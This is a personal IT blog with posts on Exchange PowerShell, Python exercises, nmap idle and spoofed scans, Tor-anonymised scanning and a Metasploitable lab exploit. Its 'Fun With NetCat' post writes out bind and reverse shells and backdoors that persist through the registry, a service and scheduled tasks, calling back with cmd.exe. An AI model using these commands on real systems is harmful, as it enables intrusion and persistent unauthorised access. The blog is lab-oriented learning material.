Friday, March 1, 2013

Get Mailbox Sizes & Item Count In Exchange 2010

Here are a few command-lets that output Mailbox sizes and Item counts in Exchange 2010:

Display sizes and item count for all mailboxes:
get-mailbox | Get-MailboxStatistics  | ft DisplayName, TotalItemSize, ItemCount

Display sizes and item count for a specific mailbox:

Get-MailboxStatistics [username] | ft DisplayName, TotalItemSize, ItemCount



Tuesday, February 19, 2013

More Powershell

Here are a few quick Powershell scripts I created to take care of some daily tasks that came up.

Output list of installed software into a text files, one text file per IP and one master file with all hosts:

$ip = get-content C:\10.10.1.0.txt

foreach ($i in $ip)
{
    wmic  /node: $i computersystem get name >> C:\installList.txt
    wmic  /node: $i os get name`,version >> C:\installList.txt
    wmic  /node: $i product get name`,version >> C:\installList.txt
    wmic  /node: $i computersystem get name >> C:\$i.txt
    wmic  /node: $i os get name`,version >> C:\$i.txt
    wmic  /node: $i product get name`,version >> C:\$i.txt
   
}

Convert a dynamic distribution group to a regular distribution group in Exchange 2010:

$employees = Get-DynamicDistributionGroup "(dynamic group)" #This is the dynamic group to be read from
$groupName = Get-distributiongroup "(regular group name)" -erroraction 'silentlycontinue' #This is the group to be modified. Continues if there are any errors encountered.

#if the group exists, remove it and re-create it.  If it doesn't exist, create it.
if ( $groupname )
{
    remove-distributiongroup "(regular group)" -Confirm:$false #disables confirmation of group removal.
    new-distributiongroup "(regular group)"
    set-distributiongroup "Employees" -customattribute11 "(whatever attribute you use to populate the group)"
}
else
{
    new-distributiongroup "(regular group)"
    set-distributiongroup "(regular group)" -customattribute11 "(whatever attribute you use to populate the group)"
}
Get-Recipient -RecipientPreviewFilter $employees.RecipientFilter | export-csv C:\filename.csv #prints pertinent information about members of the group and exports it to csv

import-csv C:\filename.csv | foreach { Add-DistributionGroupMember "(regular group)" -member $_.name }
Remove-item C:\filename.csv -Confirm:$false #remove csv file if necessary

Sunday, December 2, 2012

Remember to Enable IPv6 With Exchange 2010

As the title says.  Remember to enable IPv6 when using Exchange 2010.

After powering on my Exchange 2010 servers after a power outage, I found that a few Exchange services wouldn't start on the Hub Transport/Client Access server.

After a few reboots and running some diagnostics.  I decided to build a backup server that I had.  I received the following error while installing Exchange 2010 SP2:

After doing some research I found that Exchange 2010 requires IPv6 to be enabled and that a IPv6 address (unique-local) must be assigned to interfaces on all servers.  After doing this, all of the services that failed to start on the original Hub Transport/Client Access server started without an issue.

Tuesday, November 27, 2012

Metasploiting Metasploitable

In my quest to become a IT Security professional I've been playing around with the purposely vulnerable Linux distribution Metasploitable 2.

Metasploitable 2 is produced by Rapid 7, the company behind Metasploit.  If you don't know already, Metasploit is a penetration testing framework that allows for development of exploits and execution of general penetration testing tasks.  Metasploitable 2 is designed with several vulnerabilities in order for one to learn how Metasploit and learn about penetration testing in general.

I decided to give exploiting the backdoor vulnerability in vsftpd 2.3.4 a try.

First I began with a nmap scan against the host to verify that it was running the vulnerable version of vsftpd.



I then setup Metasploit for exploitation of the vulnerability. 

The PAYLOAD command sets the payload to be sent to the target, in this case an interactive shell  that allows one to run commands on the target.  The RHOST command sets the IP address of the target host.

I then ran the exploit and got root on the box.




Metasploitable 2 and other distros like it make penetration testing accessible for those who don't get to do it for a living.   It also gives one the opportunity to learn how to use the various security tools without risk of getting into any trouble.

Anonymizing With Tor

While using the Internet, one may wish to anonymize their activities as much as possible.  Tor is a tool that allows for some anonymity.

In it's simplest form, tor is a tool that routes TCP traffic through a series of nodes while encrypting it so that the destination host cannot determine where the traffic originated.  The tor website has a much more technical description of it along with various tools and applications that allow you to use it.

Of course one can see how a tool like this can be useful for security enthusiasts for both good and bad.

tor creates a proxy server on the local host that allows all traffic pointed to the it to be routed through the tor network.  However, if an application cannot be configured to use a proxy, then a tool like tsocks can be used to direct the application's traffic through the tor proxy.

On a Debian based system tor and nmap can be installed by using the familar apt-get install tor tsocks

Once installed, all one has to do is edit the /etc/tsocks.conf file and change the server_port entry to specify tor's port 9050 as the server port and the server entry to 127.0.0.1.  tor itself should need no configuration at all.

To use applications through tor, either configuration the application to use a proxy at 127.0.0.1:9050 or if the application doesn't support proxy use, just run it by pre-pending tsocks to the command (i.e tsocks nmap scanme.nmap.org).  Keep in mind that tor only supports anonymizing of TCP traffic and not UDP and ICMP.

One popular usage of tor is to anonymize nmap scans.  You simply run nmap via tsocks as follows: tsocks nmap <host> -PN  .  The -PN argument is required so that nmap doesn't perform a ping scan which will reveal your IP address. 

I would provide examples, but I would have to change my network configuration in order to perform a pcap to show tor actually doing it's thing.

One caveat of tor is that it's quite slow do to the way it routes your traffic through three hops before it gets to the destination host.  A tool called tortunnel routes your traffic only through one exit node which will improve performance, but reduce anonyminity.

Monday, November 26, 2012

Learning Exchange 2010

Currently I am working with Exchange 2010 in my home lab.

I have set up a Exchange 2010 organization in the following manner using VMware ESXi 5.1:


The following are some notes on some issues I ran into with working through various lab exercises.

Configuring of routing between sites:
Set a persistant route on NYDC1 and NYDC2 to 10.1.1.0/24 via Teal so traffic could get back to CHIDC1.

Set a static route on wireless router to 10.1.1.0/24 via Teal (192.168.1.106) on the LAN interface so that NAT'd traffic to the internet would know where to be sent.

After removing persistant route from NYDC1 and NYDC2, replication to CHIDC1 stopped working. 

After running a packet capture on teal it was found that replication traffic was going out from CHIDC1 but not going back to it.  No traffic was going back to CHIDC1 at all from NYDC1 and NYDC2.  This caused issues with install Exchange 2010 SP2 on the mailbox server.

dcdiag reported replcation errors.  When replicated was forced via sites and services, a schema mismatch was found.  After waiting for 15 - 20 mins, the schema mismatch resolved itself and Exchange 2010 SP2 installation completed successfully.

What is strange is that there is a static route on my router that points to the network that CHIDC1 is in, so it should forward traffic to it, however it did not seem to work properly for NYDC1 and NYDC2.

Removing public folder database:
Tried the following and ran into permissions errors: http://technet.microsoft.com/en-us/library/bb201664.aspx

Ensured administrator to public folder management group and gave administrator AllExtendedRights on \non_ipm_subtree public folders.  Still wasn't able to remove system public folders.

Found that all mailbox databases were using public folders (get-mailboxdatabase | ft name, publicfolderdatabase).

Used ADSIedit to remove public folder configuration from mailbox databases and to delete the public folder database. (http://exchangeserverpro.com/remove-default-public-folder-database-exchange-mailbox-database)

Troubleshooting OWA not working:

Found that OWA wasn't accessible after upgrade to Exchange 2010 SP2.

Found that all Exchange services weren't started on mailbox and client access server.  Started/restarted all services.  Didn't fix issue.

Checked event logs and found that there was an error in the web.config file for the OWA IIS site.  Tried commenting out the line with the error and tried using the backup web.config file, neither fixed issue.

Checked in Exchange installation log and found that the Service Pack 2 installation hadn't completed successfully.  Re-installed service pack 2 on the client access/hub transport server and rebooted.  Fixed issue.

Later found that OWA access was timing out.  Believe that I restarted Microsoft Exchange RPC Client Access service to fix the issue.

Later found out that mail wasn't being sent within the organization.  Restarted Microsoft Exchange Information Store service to fix the issue.

I'm still working through the material so most likely there will be more to follow.

Sunday, November 11, 2012

Idle Scanning With Nmap

As is it has become quite obvious, nmap is one for my favourite tools and I'm trying to learn as much about it is possible.

While reading through the nmap documentation I came across the technique known as idle scanning.

Idle scanning allows you to scan a target without sending any traffic to it.  This is done by using what's called a zombie host to bounce your traffic off of so that the traffic appears to come from the zombie host and not you.  The way it works is very clever and this page on the nmap site explains how it works in detail.

The main issue with a performing idle scans is to find a zombie host that is completely stagnant and increments it's IPID in the way that nmap requires for idle scans to work.  The following command utilizing one of nmap's scripting engine scripts will discover if a host supports the IPID feature in the way that nmap can use it for idle scanning;  nmap --script=ipidseq -v <host>.  If the Host script results returns all zeros, then the host cannot be used for idle scanning, if it returns incremental, it can be.

I set out to test idle scanning on my test network.  I tried using a Debian Linux VM as a zombie host but found that it's IPID sequence was all zeros.  I tried a Windows Server 2008 R2 VM with success.

Here are the results:

1) The IP address of the attacking machine:


 2) The IP address of the zombie host:

3) The IP address of the target host:





4) The scan being run and the results:
In order for the scan to work there needs to be a non-firewalled port on the zombie host that both the attacking and target host can connect.  The -Pn option is used to prevent a ping scan so that no ICMP traffic is sent to the target.  If ICMP traffic is sent it would reveal your IP address.

5) A Wireshark capture from the target host showing that the traffic is coming from the zombie host:




As you can see, idle scanning is a very useful technique.  It's main caveats are that it cannot really differentiate between closed a filtered ports, it can take significantly longer than a normal scan and it may be difficult to find a idle host to use as a zombie host.







Sunday, October 28, 2012

Some More Python & Nmap

As an exercise, I decided to write a Python script that performed an Nmap scan on my home network and showed the difference between scans.

I found that Nmap has the option to output to XML format and that a style-sheet is included with Nmap to allow for easier viewing.

ndiff, which, comes with Nmap is used to show the differences between Nmap scans like the Unix/Linux diff command does with files.  It has the ability to output to XML format, but a style-sheet isn't included and Nmap's style-sheet doesn't format ndiff's XML output correctly.

yandiff is an improvement to ndiff that adds more functionality, including a XML style-sheet.

The script I wrote is a little rough, but it works in the following way;
1) Run nmap with the "-A" and "-PN" arguments against the specified network and output to XML format with the date timestamped in the file name.
2) Use yandiff to compare the current week's scan with the previous week's scan and output the result to XML format with the date timestamped in the file name.
3) Use xsltproc to convert the Nmap scan results and the yandiff results to HTML

I then scheduled a cron job to run the script weekly.

Update:
I wrote another version of the script that uses os.fork() and the os.exec*() family of functions.  I did this to make the script a little cleaner and also to learn about process management.  The results are the same as the previous script, just done a little differently.

I learned an interesting lesson on how global variables and forking to create new processes work.

The code can be found here.

Below are samples of the results:











Sunday, September 23, 2012

Simple Powershell

I've been playing around with Powershell while working on the Microsoft Exchange 2007 certification.

I've been running into an issue with the Volume Shadow Copy (VSS) service not starting before my scheduled backup would run.  Thus the backup would fail.

I wrote a short Powershell script that is scheduled to run just before the backup is scheduled.  If the VSS service is not started, it starts it.

The code is below:

Get-Service | where { if ( $_.name -match "VSS" -and $_.status -ne "Running" ) { Start-Service VSS }  }

And a shot of the scheduled task:


Wednesday, September 19, 2012

Some More Python

As I work through the exercises from Core Python Programming 2e I'll post my solutions to some of the exercises that I find interesting.

Here's a wrapper for the Windows command-line interface that allows one to use the Unix/Linux ls, more, cat, cp, mv and rm commands to manipulate files in Windows:

import os
import string

class shell(object):
    def cmd(self):
        while 1:
            cmdLine = raw_input("$ ")
            if "ls" in cmdLine and len(cmdLine) == 2:
                os.system("dir")
            if "ls" in cmdLine[:cmdLine.find(" ")]:
                path = cmdLine[cmdLine.find(" "):]
                os.system("dir" + path)
            if "more" in cmdLine[:cmdLine.find(" ")]:
                path = cmdLine[cmdLine.find(" "):]
                os.system("more" + path)
            if "cat" in cmdLine[:cmdLine.find(" ")]:
                path = cmdLine[cmdLine.find(" "):]
                os.system("type" + path)
            if "cp" in cmdLine[:cmdLine.find(" ")]:
                path1 = cmdLine[cmdLine.find(" "):cmdLine.rfind(" ")]
                path2 = cmdLine[cmdLine.rfind(" "):]
                os.system("copy" + path1 + path2)
            if "mv" in cmdLine[:cmdLine.find(" ")]:
                path1 = cmdLine[cmdLine.find(" "):cmdLine.rfind(" ")]
                path2 = cmdLine[cmdLine.rfind(" "):]
                os.system("ren" + path1 + path2)
            if "rm" in cmdLine[:cmdLine.find(" ")]:
                path = cmdLine[cmdLine.find(" "):]
                os.system("del" + path)

Sunday, September 16, 2012

Data Structures in Python

Currently I'm working on learning Python and have been working through various books.

A few of the exercises in the book Core Python Programming 2e ask the reader to implement data structures as classes, specifically stacks and queues.

For those who do not know what a data structure is, you can read about it here.  A stack is a Last-In-First-Out (LIFO) data structure and a queue is a First-In-First-Out (FIFO) data structure.

I chose to use Python's built in list functionality to implement the classes.  The solutions proved to be very simple as opposed to the same solutions being produced in a language like C.

Here is the code:

Stack

class stack(object):
    def __init__(self):
        self.stack = list()

    def push(self, item):
        self.stack.append(item)

    def pop(self):
        self.stack.pop(len(self.stack)-1)

    def isempty(self):
        if len(self.stack) == 0:
            return True
        else:
            return False
   
    #displays the last element of the stack
    def peek(self):
        return self.stack[len(self.stack)-1]

Queue

class queue(object):
    def __init__(self):
        self.queue = list()

    def enqueue(self, item):
        self.queue.append(item)

    def dequeue(self):
        return self.queue.pop(0)

    def isempty(self):
        if len(self.queue) == 0:
            return True
        else:
            return False

    #displays the first element of the queue
    def peek(self):
        return self.queue[0]

Hybrid Stack/Queue

class stackQueue(object):
    def __init__(self):
        self.stackQueue = list()

    def shift(self):
        return self.stackQueue.pop(0)

    def unshift(self, item):
        self.stackQueue.insert(0,item)

    def push(self, item):
        self.stackQueue.append(item)

    def pop(self):
        return self.stackQueue.pop(len(self.stackQueue)-1)

    def isempty(self):
        if len(self.stackQueue) == 0:
            return True
        else:
            return False

     #returns the first element of the data structure
    def peek(self):
        return self.stackQueue[0]


Sunday, September 9, 2012

Fun With NetCat

NetCat is known as the TCP/IP Swiss-army knife.  It allows one to write data across a TCP or UDP connection.  It is available for most Unix/Linux operating systems as well as Windows.

Here are some fun things you can do with NetCat:

Execute shell on client connection:
nc –l –p 12345 –e /bin/bash (Unix/Linux)
nc –l –p 12345 –e cmd.exe (Windows)
nc –l –p 12345 –e cmd.exe -L - reopens connection after client closes connections (windows only)

Reverse shell:
nc -l -p 12345
nc <server ip> 12345 -e /bin/bash

Zero i/o mode(port scanning) (-z):
nc -z -v 192.168.1.1 1-65535

Redirect received info to file:
nc –l –p 12345 > dumpfile

Redirect input to file. When client connects, it will receive file:

nc –l –p 12345 < dumpfile
Client connects to server. dumpfile is transfer from server and outputted to client.
nc 192.168.1.1 12345 > dumpfile

Redirect ports and traffic (Relay):
nc –l –p 12345 | nc <hostname of target> 54321

Client connects to server on port 12345 but the target sees traffic coming from the server on
port 54321.

Configure backdoor to run everytime windows user logs in (domain priviledges):
c:\reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v nc /t REG_SZ /d
“c:\windows\nc.exe -d 192.168.1.70 1234 -e cmd.exe”

Executing backdoor using a windows service(only local system shell):
sc create ncbackdoor binPath= “cmd /K start c:\nc.exe –d 192.168.1.70 1234 –e cmd.exe” start= auto error= ignore

net start ncbackdoor

Executing backdoor using windows task scheduler (only local system shell):
C:\>at 15:00:00 /every:m,t,w,th,f,s,su ““c:\nc.exe -d 192.168.1.70 1234 -e cmd.exe””

Unzip/un-tar file over network:
source:
dd if=some.file.tar.gz | nc <destination ip> 12345 -vvv

destination (tar must be run with the "-"):
nc -l -p 12345 -vv | tar xzf -

Monday, August 20, 2012

IP and Port Scanning From Windows Command-line

Ever need an IP or port scanner but didn't have one installed or the permission to install one?  Here's a quick trick I came up with using the little used built-in functions of the Windows Command-line:

for /L %A in (1,1,254) do ping -n 1 192.168.1.%A
FOR /L %A IN (1,1,254) DO FOR /L %B IN (1,1,1024) DO telnet 192.168.1.%A %B

Windows has a built-in for loop function and when used with the /L switch, it will act like a traditional counting for loop as in C and other program languages.

The code loops through values from 1 to 254, incrementing by 1 and pings 192.168.1.%A, where %A is the value of the loop variable.

The second line of code uses nested loops to telnet to IP addresses in the same range as above and port numbers from 1 to 1024 inclusive.  There is a hitch where if it connects it just hangs there, but you can only work with what you got.

Here's a sample run:

IP Scanner

Port Scanner

Sunday, August 19, 2012

Finding And Deleting Locked Files With Process Explorer

We've all had the problem with trying to delete a file and then getting an error similar to the following:

Now in this example, Windows was kind of enough to tell me the name of the program that is locking the file.  But this is not always the case.

In certain circumstances you aren't told what the name of the program is.  This is when the Sysinternals tool known as Process Explorer comes in handy.

Process Explorer is essentially a "super" Task Manager that allows you to get a more in depth view into what is going-on on your system.

There is a feature in Process Explorer called Handle search that allows you to search for open handles.  Handles are similar to file descriptors in Unix/Linux.

To find a locked file with Process Explorer do the following:

1) Open Process Explorer, hit Ctrl+F and type in the name or partial name of the file you're looking to unlock/close:
2) Double-click the result.  You will then be taken to the following window.  Right-click the handle and select "Close Handle".  Take heed of the warning and acknowledge it if you choose to.  You should then be able to delete the file.

Firewalls And nmap

nmap is one of the most popular security tools.  Chances are you already know what nmap is and what it does so I'll spare the introduction.

As part of  my IT Security self-education, I set out to see how nmap interacts with firewalls.  I chose iptables/netfilter on Linux since it's free and there are a lot of GUI tools that allow one to setup and configure it quickly.

nmap has many options for performing port scans, one of them being IP spoofing.  IP spoofing is commonly used in Denial-of-Service attacks to modify the source IP address of the packets to hide where the traffic is coming from.  When used it port scanning, IP spoofing isn't very useful as the traffic will never return to you since the source IP isn't the same as your source IP.  However, if you're on a local network, the ARP entry for the spoofed source IP will have your MAC address associated with it, so you will get the return traffic.

In my test setup I used the following:
  • Backtrack 5 R3 VM
  • Ubuntu 12.04 VM with iptables and Firestarter GUI
  • Debian 6 VM
  • Wireshark
  • nmap 6.01
I began by scanning with a version scan on port 22 of the Ubuntu VM.  iptables was disabled.
nmap connected and identified the service.  Below is a Wireshark capture of the session from the Ubuntu VM.  You can see the establishment of the connection and the tear-down.
Below is a Wireshark capture of a connection with the SSH client itself.  You can see the key exchange and connection establishment.
I then ran the same scan with both the firewall disabled and SSHd disabled.  Below is a Wireshark capture of the session.

Note that when the firewall is disabled and SSHd is disabled a TCP RST is sent back which states that the port is closed.  When repeating the same scan with the firewall enabled the following occurred:


nmap returns that the port is filtered, meaning that the firewall is silently dropping the packets.  The Wireshark capture shows that the Ubuntu VM is not returning any packets back to the scanning host.

I then configured a rule on the firewall to only allow SSH traffic from a specific IP.


After doing that I proceeded to use nmap to spoof the source IP address of the allowed host with the following results:
nmap was able to determine that the host was up and as you can see from the Wireshark captures, the spoofed traffic is reaching the Ubuntu VM and is being received by the scanning VM.  The reason the traffic is being received by the scanning VM is because the ARP entry for the spoofed IP is associated with the MAC address of the scanning VM as shown in the screen shots below.

 The real host associated with the IP

 The ARP cache of the Ubuntu VM 

 The real MAC address of the scanning VM 

nmap is a very powerful tool that usually isn't exploited to it's full potential.  If you're going to use nmap, at minimum read the man page.  If you want to get the most out of it check out the following resources: